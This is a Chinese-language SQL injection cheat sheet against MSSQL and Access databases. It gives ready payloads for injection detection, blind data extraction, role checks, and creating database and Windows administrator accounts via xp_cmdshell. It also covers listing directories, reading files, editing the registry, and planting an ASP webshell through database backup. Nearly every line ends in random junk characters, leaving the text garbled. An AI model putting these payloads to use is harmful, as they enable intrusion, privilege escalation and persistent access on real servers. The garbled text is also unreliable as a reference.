1.判断是否有注入;and 1=1 ;and 1=2 M"|({+9eG
2.初步判断是否是mssql ;and user>0 _"c:Z !L
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3.注入参数是字符'and [查询条件] and ''=' 1]]#HTwX
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' El4SL'E@
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5.判断数据库系统 P1A5Qq
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;and (select count(*) from sysobjects)>0 mssql w^wh|'u^_@
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;and (select count(*) from msysobjects)>0 access Y!w {,\3
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 `sPH7^R
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 _1kcz]]F
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Lm"zW>v
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9.(1)猜字段的ascii值(access) '
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 =Xh*w
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(2)猜字段的ascii值(mssql) APM!xX=N
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 #AUV&pI[
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10.测试权限结构(mssql) _8'z"wF
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- d<+@cf_9
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- wC~LZSTt
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 6h3TU,$r
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- u RPvo}!=1
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- UTph(U#
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- [|{m/`8C
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;and 1=(select IS_MEMBER('db_owner'));-- =%ZR0cWPoI
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11.添加mssql和系统的帐户 MMS#Ci=Lj
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;exec master.dbo.sp_addlogin username;-- [&h%T;!Qii
;exec master.dbo.sp_password null,username,password;-- g&`[r6B
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- kQQhZ8Ch
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;exec master.dbo.xp_cmdshell 'net user username password 0FG|s#Ig
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- h(MS>=
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- @1^:V-=
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- C3GI?|b
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12.(1)遍历目录 ruK,Z,3Q
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;create table dirs(paths varchar(100), id int) ;/|3U7{c
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;insert dirs exec master.dbo.xp_dirtree 'c:\' RuuXDuu:VL
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;and (select top 1 paths from dirs)>0 F,>-+~L=
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) A.@Af+
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(2)遍历目录 7UA|G2Zr
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- QB|D_?]
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 rN5;W
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 KM jnY2
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ;OD+6@Sr
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 3&ES?MyB#
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13.mssql中的存储过程 * Qe{CE
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xp_regenumvalues 注册表根键, 子键 sksop4gu5
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 2-!n+#Cdf
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xp_regread 根键,子键,键值名 |y~un9j+
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;exec xp_regread N>3X! K
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 5|Or,8r(C
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xp_regwrite 根键,子键, 值名, 值类型, 值 s#2<^6
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 # 5C)k5
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 sg!*%*XQ
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xp_regdeletevalue 根键,子键,值名 |`i.8
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 wM#BQe3t#
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 <<:a>)6\
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14.mssql的backup创建webshell VG+WVk
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use model 8NS1* \z
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create table cmd(str image); 2E
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insert into cmd(str) values (''); aA/.EAc7
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backup database model to disk='c:\l.asp'; LUjev\Re
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15.mssql内置函数 ;4 rTm@6
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;and (select @@version)>0 获得Windows的版本号 _Z|3qQ
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa ]A2l%V_7
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;and (select user_name())>0 爆当前系统的连接用户 "p{cz(
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;and (select db_name())>0 得到当前连接的数据库 zxr|:KC ?&
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16.简洁的webshell td6$w:SN,l
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use model 4[]/
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create table cmd(str image); HRY?[+
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insert into cmd(str) values (''); L9=D,C~
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backup database model to disk='g:\wwwtest\l.asp';